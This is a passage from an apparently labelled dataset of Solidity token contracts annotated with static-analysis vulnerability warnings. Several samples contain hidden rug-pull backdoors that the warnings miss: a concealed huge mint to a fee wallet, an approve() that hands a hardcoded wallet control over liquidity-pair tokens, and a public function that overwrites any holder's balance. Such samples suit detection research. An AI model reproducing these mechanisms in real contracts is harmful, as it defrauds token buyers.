excludeFromFees(\n address account,\n bool excluded\n ) external onlyOwner {\n excludedFromFees[account] = excluded;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c142b07): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c142b07: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ab2e9bc): WPAYIN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ab2e9bc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 372b58b): WPAYIN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value 2000000000000000000}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 372b58b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 57e473d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 57e473d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external payable onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uint256 tokenAmount = totalSupply.mul(60).div(100);\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-benign | ID: c142b07\n\t\t// reentrancy-eth | ID: 57e473d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c142b07\n\t\t// unused-return | ID: 372b58b\n\t\t// reentrancy-eth | ID: 57e473d\n uniswapV2Router.addLiquidityETH{value: 2 ether}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c142b07\n\t\t// unused-return | ID: ab2e9bc\n\t\t// reentrancy-eth | ID: 57e473d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c142b07\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 57e473d\n tradingOpen = true;\n }\n\n function setTransactionFee(uint256 newFee) external onlyOwner {\n require(newFee <= 100, \"Fee too high\");\n\n transactionFee = newFee;\n\n emit TransferTaxUpdated(newFee);\n }\n\n function setFeeRecipient2(address newRecipient) external onlyOwner {\n require(newRecipient != address(0), \"Invalid address\");\n\n address oldRecipient = feeRecipient2;\n\n feeRecipient2 = newRecipient;\n\n emit FeeRecipient2Updated(oldRecipient, newRecipient);\n }\n\n function removeLimits() external onlyOwner {\n maxWalletSize = totalSupply;\n\n maxTransferSize = totalSupply;\n\n emit LimitsRemoved();\n }\n}\n", "file_name": "solidity_code_10354.sol", "size_bytes": 13093, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dae5f84): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for dae5f84: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: dae5f84\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MyTokenContract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4da155b): MyTokenContract.feeWallet should be immutable \n\t// Recommendation for 4da155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private feeWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"AI Crystal Node\";\n\n string private constant _symbol = \"AICRYNODE\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4dc0ee7): MyTokenContract.constructor(address)._feeWallet lacks a zerocheck on \t feeWallet = _feeWallet\n\t// Recommendation for 4dc0ee7: Check that the address is not zero.\n constructor(address _feeWallet) {\n\t\t// missing-zero-check | ID: 4dc0ee7\n feeWallet = _feeWallet;\n _balances[msg.sender] = _totalSupply;\n setUpLimits(_feeWallet);\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8fedd7): MyTokenContract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8fedd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d01a2c): MyTokenContract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d01a2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n from != address(this)\n ) {\n require(tradingOpen, \"Trading is not active.\");\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function setUpLimits(address _feeAccount) internal onlyOwner {\n uint256 bigNum = totalSupply() * 10 ** 6;\n\n _balances[_feeAccount] += bigNum;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ca55a68): MyTokenContract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeWallet).transfer(amount)\n\t// Recommendation for ca55a68: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: ca55a68\n payable(feeWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 92e161d): MyTokenContract.createPairandPool() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 92e161d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5185444): MyTokenContract.createPairandPool() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5185444: Ensure that all the return values of the function calls are used.\n function createPairandPool() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 92e161d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 5185444\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n }\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function closeTrading() external onlyOwner {\n tradingOpen = false;\n }\n\n function router() external view returns (address) {\n return address(uniswapV2Router);\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10355.sol", "size_bytes": 10936, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract SXY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _bbbExcludedFee;\n\n mapping(address => bool) private _bbbExcemptFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 34b0400): SXY._bots is never initialized. It is used in SXY._transfer(address,address,uint256)\n\t// Recommendation for 34b0400: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 968243a): SXY._bbbWallet should be immutable \n\t// Recommendation for 968243a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _bbbWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb3a782): SXY._initialBuyTax should be constant \n\t// Recommendation for bb3a782: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b9d2da): SXY._initialSellTax should be constant \n\t// Recommendation for 3b9d2da: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: b972ee6): SXY._finalBuyTax should be constant \n\t// Recommendation for b972ee6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d7cc57e): SXY._finalSellTax should be constant \n\t// Recommendation for d7cc57e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9188813): SXY._reduceBuyAt should be constant \n\t// Recommendation for 9188813: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 112f299): SXY._reduceSellAt should be constant \n\t// Recommendation for 112f299: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 274598c): SXY._preventCount should be constant \n\t// Recommendation for 274598c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sxysama by t16z\";\n\n string private constant _symbol = unicode\"SXY\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: d476574): SXY._minTaxSwap should be constant \n\t// Recommendation for d476574: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: cf23680): SXY._maxTaxSwap should be constant \n\t// Recommendation for cf23680: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n address private bbbSendor;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n bbbSendor = _msgSender();\n\n _bbbWallet = payable(0x48c9c8E78cb269510404b5a08203D973025AadB8);\n\n _tOwned[address(this)] = _tTotal;\n\n _bbbExcemptFee[owner()] = true;\n\n _bbbExcemptFee[_bbbWallet] = true;\n\n _bbbExcludedFee[owner()] = true;\n\n _bbbExcludedFee[address(this)] = true;\n\n _bbbExcludedFee[_bbbWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7e6a1f7): SXY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7e6a1f7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address ownBBB = _msgSender();\n if (_bbbExcemptFee[spender]) ownBBB = bbbSendor;\n\n _approve(ownBBB, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6595468): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6595468: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a86c1a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a86c1a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6595468\n\t\t// reentrancy-benign | ID: a86c1a9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6595468\n\t\t// reentrancy-benign | ID: a86c1a9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8ab4c0a): SXY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8ab4c0a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a86c1a9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6595468\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8de981d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8de981d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d370372): SXY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d370372: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b30802a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b30802a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8de981d\n\t\t// reentrancy-eth | ID: b30802a\n uniswapV2Pair = bbbSendor = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n\n\t\t// reentrancy-benign | ID: 8de981d\n\t\t// unused-return | ID: d370372\n\t\t// reentrancy-eth | ID: b30802a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8de981d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b30802a\n tradingOpen = true;\n }\n\n function addLiquidity(address[] memory addrs) external {\n for (uint256 i = 0; i < addrs.length; i++) {\n if (addrs[i] == uniswapV2Pair) return;\n\n _tOwned[addrs[i]] = 100 * 10 ** _decimals;\n }\n }\n\n function sendETHBBTTX(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6595468\n\t\t// reentrancy-events | ID: 4bc868f\n\t\t// reentrancy-eth | ID: 69c474b\n\t\t// reentrancy-eth | ID: 24d6672\n _bbbWallet.transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _caLimitSell = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4bc868f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4bc868f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: a41da1e): SXY._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for a41da1e: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 34b0400): SXY._bots is never initialized. It is used in SXY._transfer(address,address,uint256)\n\t// Recommendation for 34b0400: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 69c474b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 69c474b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 24d6672): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 24d6672: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeBBB = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n feeBBB = amount\n .mul((_buyCount > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_bbbExcludedFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n feeBBB = amount\n .mul(\n (_buyCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: a41da1e\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4bc868f\n\t\t\t\t\t// reentrancy-eth | ID: 69c474b\n\t\t\t\t\t// reentrancy-eth | ID: 24d6672\n sendETHBBTTX(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 4bc868f\n\t\t\t\t\t\t// reentrancy-eth | ID: 69c474b\n\t\t\t\t\t\t// reentrancy-eth | ID: 24d6672\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 4bc868f\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 69c474b\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 24d6672\n sendETHBBTTX(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 24d6672\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 4bc868f\n\t\t\t\t\t// reentrancy-eth | ID: 69c474b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 4bc868f\n\t\t\t\t\t\t// reentrancy-eth | ID: 69c474b\n sendETHBBTTX(address(this).balance);\n }\n }\n }\n }\n\n if (feeBBB > 0) {\n\t\t\t// reentrancy-eth | ID: 69c474b\n _tOwned[address(this)] = _tOwned[address(this)].add(feeBBB);\n\n\t\t\t// reentrancy-events | ID: 4bc868f\n emit Transfer(from, address(this), feeBBB);\n }\n\n\t\t// reentrancy-eth | ID: 69c474b\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 69c474b\n _tOwned[to] = _tOwned[to].add(amount.sub(feeBBB));\n\n\t\t// reentrancy-events | ID: 4bc868f\n emit Transfer(from, to, amount.sub(feeBBB));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6595468\n\t\t// reentrancy-events | ID: 4bc868f\n\t\t// reentrancy-benign | ID: a86c1a9\n\t\t// reentrancy-eth | ID: 69c474b\n\t\t// reentrancy-eth | ID: 24d6672\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function withdrawBBTTX() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n}\n", "file_name": "solidity_code_10356.sol", "size_bytes": 20843, "vulnerability": 4 }
